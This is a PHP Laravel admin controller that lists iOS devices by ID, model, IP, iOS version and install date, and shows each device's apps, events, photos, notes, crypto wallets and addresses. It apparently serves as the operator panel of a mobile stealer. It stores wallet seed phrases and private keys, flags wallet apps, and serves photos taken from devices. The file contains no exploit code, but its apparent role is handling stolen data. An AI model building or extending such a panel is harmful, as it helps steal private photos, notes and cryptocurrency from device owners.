<?php

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\Wallet;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;

class DeviceController extends Controller
{
    public function index(Request $request)
    {
        $filters = [
            'device_key' => trim((string) $request->query('device_key', '')),
            'model' => trim((string) $request->query('model', '')),
            'ip' => trim((string) $request->query('ip', '')),
            'ios' => trim((string) $request->query('ios', '')),
            'installed_from' => trim((string) $request->query('installed_from', '')),
            'installed_to' => trim((string) $request->query('installed_to', '')),
        ];

        $q = Device::query()->orderByDesc('updated_at');

        if ($filters['device_key'] !== '') {
            $q->where('device_id', 'like', '%'.$filters['device_key'].'%');
        }
        if ($filters['model'] !== '') {
            $q->where('device_model', 'like', '%'.$filters['model'].'%');
        }
        if ($filters['ip'] !== '') {
            $q->where('ip', 'like', '%'.$filters['ip'].'%');
        }
        if ($filters['ios'] !== '') {
            $q->where('ios_version', 'like', '%'.$filters['ios'].'%');
        }
        if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_from'])) {
            $q->whereDate('created_at', '>=', $filters['installed_from']);
        }
        if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_to'])) {
            $q->whereDate('created_at', '<=', $filters['installed_to']);
        }

        $devices = $q->paginate(30)->withQueryString();

        return view('admin.devices.index', compact('devices', 'filters'));
    }

    public function show(Device $device, Request $request)
    {
        $tab = $request->query('tab', 'apps');
        if (! in_array($tab, ['apps', 'events', 'photos', 'notes', 'wallets'], true)) {
            $tab = 'apps';
        }

        $apps = $device->apps()->orderByDesc('is_wallet')->orderBy('name')->get();
        $events = $device->events()->orderByDesc('id')->limit(500)->get();
        $photos = $device->photos()->orderByDesc('id')->limit(200)->get();
        $notes = $device->notes()->orderByDesc('id')->limit(200)->get();
        $wallets = $device->wallets()->orderByDesc('id')->get();
        $addresses = $device->addresses()->orderByDesc('id')->get();

        $maskedWallets = $wallets->map(function (Wallet $w) {
            return [
                'id' => $w->id,
                'source_app' => $w->source_app,
                'mnemonic' => Wallet::maskSecret($w->mnemonic),
                'privkey' => Wallet::maskSecret($w->privkey),
                'created_at' => $w->created_at,
            ];
        });

        return view('admin.devices.show', compact(
            'device', 'tab', 'apps', 'events', 'photos', 'notes', 'maskedWallets', 'addresses'
        ));
    }

    public function photo(Device $device, int $photo)
    {
        $row = $device->photos()->whereKey($photo)->firstOrFail();
        abort_unless(Storage::disk('local')->exists($row->path), 404);
        $mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';

        return response(Storage::disk('local')->get($row->path), 200)
            ->header('Content-Type', $mime);
    }
}